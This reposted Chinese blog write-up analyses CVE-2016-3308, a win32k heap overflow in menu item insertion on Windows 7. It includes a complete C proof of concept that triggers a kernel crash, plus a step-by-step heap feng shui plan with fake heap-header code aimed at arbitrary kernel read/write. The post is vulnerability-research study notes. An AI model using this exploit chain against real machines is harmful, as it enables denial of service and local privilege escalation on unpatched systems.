首页 > 其他 > 详细

CVE-2016-3308

时间:2020-05-07 17:37:44      阅读:50      评论:0      收藏:0      [点我收藏+]

CVE-2016-3308

前言

这个洞的成因倒是很好理解,不过利用方法是我第一次接触,第一次接触堆风水布局,虽然还只是Win7上的,远没有Win10上的复杂,但也让我知道了自己的知识匮乏,在漏洞利用这块还只是个入门的新手,希望自己能够在遇到困难的时候坚持下去。

漏洞成因

这个漏洞位于win32k!xxxInsertMenuItem,其中通过MNLookUpItem对菜单进行递归查找

技术分享图片

win32k!xxxInsertMenuItem中调用了两次MNLookUpItem对菜单项进行了查找,但只有第一次对查找后的tagMenu进行了重新赋值(可能是因为微软没有考虑到在第二次调用MNLookUpItem查找时返回的tagItem因为uItem = 1导致其属于其它的菜单???),如果我们构造一个特殊的tagItem进行插入使得uItem被修改并且这个tagItem拥有一个子菜单,那么将会导致后面memmove计算长度时使用两个逻辑上没有关系的地址进行相减,从而导致长度计算错误,导致堆溢出,如果我们通过精准的堆布局,那么就可以控制溢出的长度以及覆盖相邻的堆头。

技术分享图片

如何触发

在IDA中分析代码可以发现,当我们插入满足以下条件时,uItem就会被设置为1

  • 当前菜单为非MNF_POPUP
  • byPosition = false并且uItem为当前菜单的第一项
  • 且菜单第一项的hmbp = HBMMENU_SYSTEM

技术分享图片

如果此时菜单项已经有了8个,我们再添加一个时,就会触发重新的堆申请,每次申请以8个tagItem大小为单位,因此就会触发第二次的MNLookUpItem调用,由于此时uItem = 1,如果uID = 1的菜单项位于另外一个子菜单,就会导致在memmove计算长度时出现错误导致堆溢出

POC

如果只需要触发蓝屏,可以以最简单的方式来构造菜单:

  • 在主菜单中插入8项item,其中一项具有subMenu
  • 在这个subMenu中有一项uID = 1tagItem
  • 向主菜单插入第九项并且满足上面使得uItem =1的条件,并且触发第二次MNLookUpItem
#include <Windows.h>
#include "struct.h"


HMENU add_submenu_item(HMENU hMenu, UINT wID)
{
	HMENU hSubMenu = CreatePopupMenu();

	MENUITEMINFOW mi_info;
	mi_info.cbSize = sizeof(MENUITEMINFOW);
	mi_info.fMask = MIIM_SUBMENU | MIIM_ID | MIIM_BITMAP;
	mi_info.fState = MFS_ENABLED;
	mi_info.hSubMenu = hSubMenu;
	mi_info.wID = wID;
	mi_info.dwTypeData = NULL;
	mi_info.hbmpItem = HBMMENU_SYSTEM;  // (required to set nPosition to 1 in trigger)

	BOOL bRet = NtUserThunkedMenuItemInfo(
		hMenu,      //# HMENU hMenu
		0,          //# UINT  nPosition
		FALSE,      //# BOOL  fByPosition
		TRUE,       //# BOOL  fInsert
		&mi_info,   //# LPMENUITEMINFOW lpmii
		NULL       //# PUNICODE_STRING pstrItem
	);
	if (bRet)
	{
		return hSubMenu;
	}
	return NULL;
}

BOOL add_menu_item(HMENU hMenu, UINT wID)
{
	MENUITEMINFOW mi_info;
	mi_info.cbSize = sizeof(MENUITEMINFOW);
	mi_info.fMask = MIIM_ID;
	mi_info.fType = MFT_STRING;
	mi_info.fState = MFS_ENABLED;
	mi_info.wID = wID;

	return NtUserThunkedMenuItemInfo(
		hMenu,      //# HMENU hMenu
		-1,         //# UINT  nPosition
		TRUE,       //# BOOL  fByPosition
		TRUE,       //# BOOL  fInsert
		&mi_info,   //# LPMENUITEMINFOW lpmii
		NULL       //# PUNICODE_STRING pstrItem
	);
};

VOID fill_menu(HMENU hMenu, UINT Base_wID, UINT nCount)
{
	for (UINT i = 0; i < nCount; i++)
	{
		add_menu_item(hMenu, Base_wID + i);
	}
}


int main()
{
	/* 在主菜单中插入8项item,其中一项具有subMenu */
	auto hMenu = CreateMenu();
	auto hSubMenu = add_submenu_item(hMenu, 0x101);
	fill_menu(hMenu, 0x102, 7);

	/* 在这个subMenu中有一项uID = 1的tagItem */
	add_menu_item(hSubMenu, 0x1);


	/* 向主菜单插入第九项并且满足上面使得uItem =1的条件,并且触发第二次MNLookUpItem  */
	{
		MENUITEMINFOW mi_info;
		mi_info.cbSize = sizeof(MENUITEMINFOW);
		mi_info.fMask = MIIM_ID;
		mi_info.fType = MFT_STRING;
		mi_info.fState = MFS_ENABLED;
		mi_info.wID = 0x111;

		return NtUserThunkedMenuItemInfo(
			hMenu,         //# HMENU hMenu
			0x101,         //# UINT  nPosition
			FALSE,         //# BOOL  fByPosition
			TRUE,          //# BOOL  fInsert
			&mi_info,      //# LPMENUITEMINFOW lpmii
			NULL           //# PUNICODE_STRING pstrItem
		);
	}


	return 0;
}

技术分享图片

利用

利用方法是对此文的学习与理解

https://github.com/55-AA/CVE-2016-3308

前置知识

通过阅读``NCC group 《Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE 2015-0057) bug on both 32-bit and 64-bit》`,大概总结出一下几点:

  • 基于桌面堆的大多数申请都依赖与窗口对象,也就是通过tagWND来管理

    • 如果我们需要创建特定大小的结构来填充堆中小的空洞,首先就先需要创建一个窗口进行交互
    • 一些我们通过窗口来申请的空间并不能单独释放,也就是说这些结构会在调用DestroyWindow时进行释放
  • tagPROPLIST结构提供足够小的堆申请用来填满任意小的堆空洞

  • feng shui 布局验证

    • 内核桌面堆以只读的方式映射在用户空间,因此我们可以通过读取相应的地址来验证我们的布局是否成功,TEB中包含一个未文档化的结构win32ClientInfo,其中ulClientDelta成员表示桌面堆在内核映射和用户映射的偏移,再通过user32!gSharedInfo泄露窗口对象的内核地址,就可以得到窗口对象在用户空间的映射地址
    typedef struct _CLIENTINFO { 
        ULONG_PTR CI_flags; 
        ULONG_PTR cSpins; 
        DWORD dwExpWinVer; 
        DWORD dwCompatFlags; 
        DWORD dwCompatFlags2; 
        DWORD dwTIFlags; 
        PDESKTOPINFO pDeskInfo; 
        ULONG_PTR ulClientDelta; // incomplete. see reactos 
    } CLIENTINFO, *PCLIENTINFO;
    

大致思路

  • 创建大量没有标题的窗口来填充存在的一些堆空洞
  • 创建WND_0 ~ WND_5在后面用来操作堆数据
  • 在子菜单添加一个ID = 1和其他ID 0x2001~2007tagItem
  • 在子菜单中添加第九个tagItem,这时会触发堆的重新申请,然后设置WND_5->text0x6C *8 = 0x360大小来填充上面释放的8个菜单项的堆空间,并在用户空间检查桌面堆确保两个地址相等
  • 设置WND_1->text0x70大小用来伪造堆头,同样要验证此时为WND_1->text分配的堆地址是紧接着上面SubMenuItems分配的,伪造堆头的位置时要注意,因为win32k!xxxInsertMenuItem的插入逻辑是在插入位置留一个tagItem大小的位置,后面的tagItem顺序向后移动,由于我们申请的大小为0x70,向后移动距离为0x6C,所以我们需要在WND_1->text4字节(0x70 - 0x6C = 4)之后伪造堆头
	#define CORRUPTION_BLOCK_SIZE 0x8e8
	#define HEAP_GRANULARITY_SHIFT 3

	memset(Data, 0, sizeof(Data));
	PHEAP_ENTRY32 pHeapEntry = (PHEAP_ENTRY32)(Data + 4);
	pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
	pHeapEntry->Size = CORRUPTION_BLOCK_SIZE >> HEAP_GRANULARITY_SHIFT;
	pHeapEntry->Flags = 1;
	pHeapEntry->UnusedBytes = 8;
  • 设置WND_2->text0x70大小,同样验证布局是否紧接着WND_1->text,当堆溢出发生时,上面伪造的堆头就会覆盖WND_2->text的堆头
  • 设置WND_0->text0x6C0大小,为主菜单item*16占位
  • 创建一个Primitive-WND窗口和一个自动创建的tagPROPLIST
  • 创建一个Corrupt-WND窗口和一个自动创建的tagPROPLIST
  • 设置WND_3->text0x10大小,因为上面伪造的_heap_entry->size = 8e8,刚好下一个堆块为WND_3->text的位置,因此我们需要在WND_3->text中伪造一个堆头使得previousSize = 8e8 >>3,从而在释放上面伪造的堆时绕过检查(以上所有操作都是假定所有分配都是连续的
	#define CORRUPTION_BLOCK_SIZE 0x8e8
	#define HEAP_GRANULARITY_SHIFT 3

	memset(Data, 0, sizeof(Data));
	pHeapEntry = (PHEAP_ENTRY32)Data;
	pHeapEntry->PreviousSize = CORRUPTION_BLOCK_SIZE >> HEAP_GRANULARITY_SHIFT;
	pHeapEntry->Size = 0x10 >> HEAP_GRANULARITY_SHIFT;
	pHeapEntry->Flags = 1;
	pHeapEntry->UnusedBytes = 8;
  • 设置WND_0->text0x700大小,此时多了个0x6c0大小的空洞,紧接着为主菜单添加第九个菜单项,在堆申请时需要的大小刚好等于0x6c0,因此此时主菜单的rgItems位置也就确定了,memmove的大小也可以计算出来了,同时触发漏洞,memmove导致从SubMenuItems[0]后面开始全部后移0x6C大小,因此我们在WND_1->text伪造的堆头覆盖了WND_2->text的堆头

  • 紧接着我们设置WND_2->text0x80大小,因此之前的堆被释放,但这是个被伪造的堆,其被修改后的堆大小包含了整个Primitive-WNDCorrupt-WND窗口对象,因此我们只需要将Corrupt-WND->text设置为0x8e0大小来重用这个伪造的堆块,就可以通过修改位于堆块中的Primitive-WND->text的地址配合InternalGetWindowTextNtUserDefSetText来进行任意地址读写

附上 https://github.com/55-AA/CVE-2016-3308 中的堆 feng shui 布局图

技术分享图片

利用效果

技术分享图片

CVE-2016-3308

原文:https://www.cnblogs.com/DreamoneOnly/p/12844299.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!